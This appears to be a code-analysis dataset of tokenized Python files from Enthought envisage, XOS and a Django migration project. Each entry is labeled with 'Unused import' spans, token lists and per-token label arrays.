"\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "redirec", "ts", "'_", ":_", "[_", "{_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "access", "-", "control", "-", "allow", "-", "orig", "in", "'_", ":_", "'*'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "length", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "text", "/", "plain", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "location", "'_", ":_", "'", "https", "://", "local", "host", ":", "610", "3", "/", "redirec", "t", "?", "name", "=", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "Tempora", "ry", " ", "Redirect", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "{_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "307", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "https", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "redirec", "t", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gamma_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Gamma", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
enthought/envisage/examples/plugins/single_project/sample_project/data/plugin/model_service.py
[ { "content": "#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2007 by Enthought, Inc.\n# All rights reserved.\n#\n#-----------------------------------------------------------------------------\n\n\"\"\"\nThe model service for the Data plugin.\n\n\"\"\"\n\n# Standard library imports.\nimport logging\nimport numpy\n\n# Enthought library imports.\nfrom envisage.api import ApplicationObject\nfrom apptools.naming.unique_name import make_unique_name\nfrom blockcanvas.numerical_modeling.numeric_context.api import NumericContext\nfrom blockcanvas.numerical_modeling.units.unit_array import UnitArray\nfrom scimath.units.api import convert,unit_manager\nfrom scimath.units.mass import gram\nfrom scimath.units.volume import cc\nfrom scimath.units.length import meter\nfrom scimath.units.geo_units import ppg, psi\nfrom pyface.wx.clipboard import clipboard\n\n# Data library imports.\n\n\n# Setup a logger for this module\nlogger = logging.getLogger(__name__)\n\n\n#### EOF #####################################################################\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ModelService(ApplicationObject):\n \"\"\"\n The model service for the Dataplugin.\n\n \"\"\"\n\n\n ##########################################################################\n # 'ModelService' interface\n ##########################################################################\n\n #### public methods ######################################################\n", "metadata": "root.ModelService", "header": "['module', '___EOS___']", "index": 35 }, { "content": " def delete_context_item(self, context, item_name):\n \"\"\" Deleting an item from a numeric context\n\n Parameters:\n -----------\n context: NumericContext\n item_name: Str\n\n \"\"\"\n\n if isinstance(context, NumericContext) and context.has_key(item_name):\n context.pop(item_name)\n else:\n logger.error('Invalid context or data not found in context')\n\n return", "metadata": "root.ModelService.delete_context_item", "header": "['class', 'ModelService', '(', 'ApplicationObject', ')', ':', '___EOS___']", "index": 48 } ]
[ { "span": "import numpy", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 12 }, { "span": "from apptools.naming.unique_name import make_unique_name", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 56 }, { "span": "from blockcanvas.numerical_modeling.units.unit_array import UnitArray", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 69 }, { "span": "from scimath.units.api import convert,unit_manager", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 50 }, { "span": "from scimath.units.mass import gram", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 35 }, { "span": "from scimath.units.volume import cc", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 35 }, { "span": "from scimath.units.length import meter", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 38 }, { "span": "from scimath.units.geo_units import ppg, psi", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 44 }, { "span": "from pyface.wx.clipboard import clipboard", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 41 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2007", " ", "by", " ", "Ent", "hou", "ght", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "The", " ", "model", " ", "service", " ", "for", " ", "the", " ", "Data", " ", "plugin", ".", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Standard", " ", "librar", "y", " ", "import", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ent", "hou", "ght", " ", "librar", "y", " ", "import", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "from_", "envi", "sage", "_", "._", "api_", "import_", "Applica", "tion", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "app", "tools_", "._", "naming_", "._", "unique", "\\u", "name_", "import_", "make", "\\u", "unique", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "block", "canvas_", "._", "numerical", "\\u", "modeling", "_", "._", "numeri", "c\\u", "context_", "._", "api_", "import_", "Numer", "ic", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "block", "canvas_", "._", "numerical", "\\u", "modeling", "_", "._", "units_", "._", "unit", "\\u", "array_", "import_", "Unit", "Array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sci", "math_", "._", "units_", "._", "api_", "import_", "convert_", ",_", "unit", "\\u", "manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sci", "math_", "._", "units_", "._", "mass_", "import_", "gram_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sci", "math_", "._", "units_", "._", "volume_", "import_", "cc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sci", "math_", "._", "units_", "._", "length_", "import_", "meter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sci", "math_", "._", "units_", "._", "geo", "\\u", "units_", "import_", "pp", "g_", ",_", "psi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyf", "ace_", "._", "wx_", "._", "clipboard_", "import_", "clipboard_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Data", " ", "librar", "y", " ", "import", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", "up", " ", "a", " ", "logg", "er", " ", "for", " ", "this", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", "#", " ", "EO", "F", " ", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Model", "Service_", "(_", "Applica", "tion", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "model", " ", "service", " ", "for", " ", "the", " ", "Data", "plugin", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "Model", "Service", "'", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "public", " ", "method", "s", " ", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Model", "Service_", "(_", "Applica", "tion", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "delete", "\\u", "context", "\\u", "item_", "(_", "self_", ",_", "context_", ",_", "item", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Del", "eti", "ng", " ", "an", " ", "item", " ", "from", " ", "a", " ", "numeri", "c", " ", "context", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "-----------", "\\", "10", ";", " ", " ", " ", " ", "context", ":", " ", "Numer", "ic", "Context", "\\", "10", ";", " ", " ", " ", " ", "item", "\\u", "name", ":", " ", "Str", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "context_", ",_", "Numer", "ic", "Context_", ")_", "and_", "context_", "._", "has", "\\u", "key_", "(_", "item", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "pop_", "(_", "item", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "Inva", "lid", " ", "context", " ", "or", " ", "data", " ", "not", " ", "found", " ", "in", " ", "context", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
open-cloud/xos/xos/synchronizers/ec2/deleters/slice_deleter.py
[ { "content": "from core.models import Slice, SliceDeployments, User\nfrom synchronizers.base.deleter import Deleter\nfrom synchronizers.base.deleters.slice_deployment_deleter import SliceDeploymentsDeleter\nfrom xos.logger import Logger, logging\n\nlogger = Logger(level=logging.INFO)\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SliceDeleter(Deleter):\n model='Slice'\n", "metadata": "root.SliceDeleter", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def call(self, pk):\n slice = Slice.objects.get(pk=pk)\n slice_deployment_deleter = SliceDeploymentsDeleter()\n for slice_deployment in SliceDeployments.objects.filter(slice=slice):\n try:\n slice_deployment_deleter(slice_deployment.id)\n except:\n logger.log_exc(\"Failed to delete slice_deployment %s\" % slice_deployment,extra=slice.tologdict()) \n slice.delete()", "metadata": "root.SliceDeleter.call", "header": "['class', 'SliceDeleter', '(', 'Deleter', ')', ':', '___EOS___']", "index": 10 } ]
[ { "span": "from core.models import Slice, SliceDeployments, User", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 53 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "core_", "._", "models_", "import_", "Slice_", ",_", "Slice", "Deployment", "s_", ",_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "synchronize", "rs_", "._", "base_", "._", "deleter", "_", "import_", "Delete", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "synchronize", "rs_", "._", "base_", "._", "deleter", "s_", "._", "slice", "\\u", "deploy", "ment", "\\u", "deleter", "_", "import_", "Slice", "Deployment", "s", "Delete", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "logger_", "import_", "Logger_", ",_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "Logger_", "(_", "level_", "=_", "logging_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Slice", "Delete", "r_", "(_", "Delete", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "'", "Slice", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Slice", "Delete", "r_", "(_", "Delete", "r_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "call_", "(_", "self_", ",_", "pk_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice_", "=_", "Slice_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slice", "\\u", "deploy", "ment", "\\u", "deleter", "_", "=_", "Slice", "Deployment", "s", "Delete", "r_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "slice", "\\u", "deployment_", "in_", "Slice", "Deployment", "s_", "._", "objects_", "._", "filter_", "(_", "slice_", "=_", "slice_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "deploy", "ment", "\\u", "deleter", "_", "(_", "slice", "\\u", "deployment_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "log", "\\u", "exc_", "(_", "\"", "Fail", "ed", " ", "to", " ", "delete", " ", "slice", "\\u", "deploy", "ment", " ", "%", "s", "\"_", "%_", "slice", "\\u", "deployment_", ",_", "extra_", "=_", "slice_", "._", "tol", "og", "dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "slice_", "._", "delete_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
nvbn/coviolations_web/nodes/migrations/0002_auto__add_projectkeys.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n u'auth.group': {\n 'Meta': {'object_name': 'Group'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),\n 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u\"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n u'auth.permission': {\n 'Meta': {'ordering': \"(u'content_type__app_label', u'content_type__model', u'codename')\", 'unique_together': \"((u'content_type', u'codename'),)\", 'object_name': 'Permission'},\n 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['contenttypes.ContentType']\"}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n },\n u'auth.user': {\n 'Meta': {'object_name': 'User'},\n 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),\n 'first_name': 